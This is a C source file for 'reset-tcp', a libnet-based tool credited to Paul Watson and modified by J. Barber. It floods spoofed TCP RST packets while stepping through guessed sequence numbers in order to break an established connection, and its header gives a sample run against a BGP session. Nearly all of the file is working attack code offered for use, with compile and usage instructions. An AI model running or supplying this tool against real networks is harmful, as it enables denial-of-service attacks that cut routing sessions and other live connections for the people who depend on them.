/*
  By: Paul A. Watson
  Build a TCP packet - based on tcp1.c sample code from libnet-1.1.1

	COMPILE:
	  gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a
	  or
	  gcc -o reset-tcp reset-tcp.c  -lnet
	  ** be sure to modify the MAC addresses (enet_src/enet_dst) in the code, or you WILL have problems!

        EXECUTE:
	  reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size]

        EXAMPLE (and timing packets sent with /bin/date):
          [root@orc BGP]# date; ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 65536; date
          Tue Dec 16 21:18:28 CST 2003
          Packets sent: 8192      Sequence guess: 536805376
          Packets sent: 16384     Sequence guess: 1073676288
          Packets sent: 24576     Sequence guess: 1610547200
          Packets sent: 32768     Sequence guess: 2147418112
          Packets sent: 40960     Sequence guess: 2684289024
          Packets sent: 49152     Sequence guess: 3221159936
          Packets sent: 57344     Sequence guess: 3758030848
          packets sent: 65535
          Tue Dec 16 21:18:46 CST 2003
          [root@orc BGP]#
 */

/* modified by: J. Barber A.K.A Swoop
	  modified to use src mac from your interface and asks for the 
	  destination mac on the command line.

 	  New Command-Line Example:
          ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 00:01:02:03:04:05 65536

   swoopafied: 3/30/04
*/

#include <libnet.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
    int c;
    unsigned long int count=0;
    unsigned long int count2=0;
    unsigned long int seqguess=0;
    unsigned long int seqstart=0;
    unsigned long int seqincrement=0;
    unsigned long int seqmax=4294967295;
    u_char *cp;
    libnet_t *l;
    libnet_ptag_t t;
    char *payload;
    char * device = argv[1];
    u_short payload_s;
    u_long src_ip, dst_ip;
    u_short src_prt, dst_prt;
    char errbuf[LIBNET_ERRBUF_SIZE];

    char sourceip[32]		= "";
    char destinationip[32]	= "";

/* Change these to suit your local environment values */
/* Make enet_dst either the default gateway or destination host */
    struct libnet_ether_addr *ptr_enet_src;
    u_char enet_src[6];
    u_char enet_dst[6];
    u_char org_code[3]   = {0x00, 0x00, 0x00};

/* Its only test code, so minimal checking is performed... */
    if (argc<8) { 
      printf("TCP Reset Tool v1.2\nBy Paul Watson - Modified by J. Barber\n");
      printf("Usage: %s [interface] [src ip] [src port] [dst ip] [dst port] [gateway/destination MAC] [window size]\n",argv[0]); 
      printf("Example: ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 00:01:02:03:04:05 65536\n");
      exit(1);
      }

    strcpy(sourceip,argv[2]);
    src_prt = atoi(argv[3]);
    strcpy(destinationip,argv[4]);
    dst_prt = atoi(argv[5]);
    seqincrement= atoi(argv[7]);
    seqstart= 0;
    seqmax  = 4294967295;	/* 2^32 */

    payload = NULL;
    payload_s = 0;
    src_ip  = libnet_name2addr4(l,sourceip,LIBNET_DONT_RESOLVE);
    dst_ip  = libnet_name2addr4(l,destinationip,LIBNET_DONT_RESOLVE);

    memset(enet_dst, 0, sizeof(enet_dst));
    sscanf(argv[6], "%02X:%02X:%02X:%02X:%02X:%02X", &enet_dst[0],
         &enet_dst[1], &enet_dst[2], &enet_dst[3], &enet_dst[4],
         &enet_dst[5]);

    l = libnet_init(LIBNET_LINK,device,errbuf);
    ptr_enet_src = libnet_get_hwaddr(l);
    memcpy(&enet_src[0], ptr_enet_src,6);
    printf("Src MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_src[0], enet_src[1],enet_src[2],enet_src[3],enet_src[4],enet_src[5]);
    printf("Dst MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_dst[0], enet_dst[1],enet_dst[2],enet_dst[3],enet_dst[4],enet_dst[5]);

for (seqguess=seqstart;seqguess<seqmax-seqincrement;seqguess=seqguess+seqincrement) {
    count++; count2++;
    if (count2==8192) { count2=0; printf("Packets sent: %lu\tSequence guess: %lu\n",count,seqguess); }
    l = libnet_init(LIBNET_LINK,device,errbuf);
    t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
    t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
    t = libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_TCP_H+payload_s,0,242,0,64,IPPROTO_TCP,0,src_ip,dst_ip,NULL,0,l,0);

    t = libnet_build_ethernet(enet_dst,enet_src,ETHERTYPE_IP,NULL,0,l,0);
    c = libnet_write(l);
    }
printf("packets sent: %i\n",count);
return (EXIT_FAILURE); 
}

